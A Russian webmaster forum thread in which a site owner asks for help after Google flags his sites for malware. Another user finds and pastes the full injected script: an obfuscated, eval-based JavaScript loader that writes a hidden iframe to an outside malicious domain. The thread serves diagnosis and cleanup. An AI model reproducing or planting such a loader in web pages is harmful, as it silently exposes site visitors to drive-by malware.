[Steel]

Ребята, выручайте. Недавно завел домен king-sale.ru, сегодня им пользовался, было все норм. Пару часов назад стали ругаться браузеры, мол имеется инфа, что сайт атакует компьютеры и содержит вредоносное ПО.

Гугль говорит:
Что произошло во время последнего посещения этого сайта компанией Google?
На 2 из 2 страниц сайта, протестированных нами за последние 90 дней, происходила загрузка и установка вредоносного ПО без согласия пользователя. Последнее посещение этого сайта системой Google произошло 2013-04-21; последний раз подозрительный контент был обнаружен на этом сайте 2013-04-21.Число доменов, на которых размещается вредоносное ПО: 1 (в том числе ivsykifa.ru/).
Сетей, в которых размещался этот сайт: 1 (в том числе AS48172 (OVERSUN)).

Проверял на _http://2ip.ru, пишет: Подозрение на вирус! На сайте обнаружены iframe-вставки, ссылающиеся на сомнительные сайты либо обфусицированный код.

Оказывается, такая фигня случилась со всеми моими сайтами. На одном из сайтов даже слетел дедлайн-счетчик. Написал провайдеру, сказали, что проверили, вирусов нет, обращайтесь в ТП Гугла. Полазив в сети, так и не нашел этот "секретный адрес" техподдержки(специально что ли шифруются?).

Сейчас глянул на почту, сайт был выкинут из адвордса 16 часов назад по причине обнаружения вредоносного ПО.

На одном из доменов есть лендинг, с которого уже оплатил рекламу в паблике ВК на завтра и тут такая бяка...

Какие будут соображения?

П.С ivsykifa.ru - не мой сайт)

[Odhost]

Попробуйте хитач проверить или сами сайты на вирусы, есть же онлайн проверки, скорее всего залили шел (хотя всё может быть).. Также в этой ветке есть способ как проверить сайт на base..

[ohmygod]

В начале страницы какой-то обфусцированный скрипт, скорее всего дело в нем.

[Steel]

В начале страницы какой-то обфусцированный скрипт, скорее всего дело в нем.

Каким методом можно проверить?

[ohmygod]

Steel, большинство сайтов в выдаче гугла, содержащие этот скрипт, висят с пометкой о вредоносном содержимом.
Так что в первую очередь нужно удалить его из кода.

Собственно, вот он:

Развернуть текст

Код:

type="text/javascript" language="javascript" >                                                                                                                                                                                                                                                          e=eval;v="0x";a=0;try{a&=2}catch(q){a=1}if(!a){try{document["body"]^=~1;}catch(q){a2="!"}z="2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6b!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6b!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!70!7d!7a!80!72!70!6d!68!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6b!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6b!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6b!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6b!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6b!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6b!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6b!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6b!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6b!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6b!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42".split(a2);s="";if(window.document)for(i=0;i<z.length;i++){s+=String.fromCharCode(e(v+(z[i]))-7);}zaz=s;e(zaz);}</script>

[свернуть]

[Steel]

Собственно, вот он:

А как бы его убрать оперативно? Или искать через Тотал?

[Odhost]

Steel, лучше через тотал, так как могут позаливать в разные страницы

[Steel]

ohmygod,
Через тотал не находит. Как вы его нашли и в каком файле?

[ohmygod]

Steel, это в исходном коде страницы.
Вот, если не отображается: _http://pastebin.com/uRkMhsPk

[Kgtu5]

могу помочь проверить и очистить...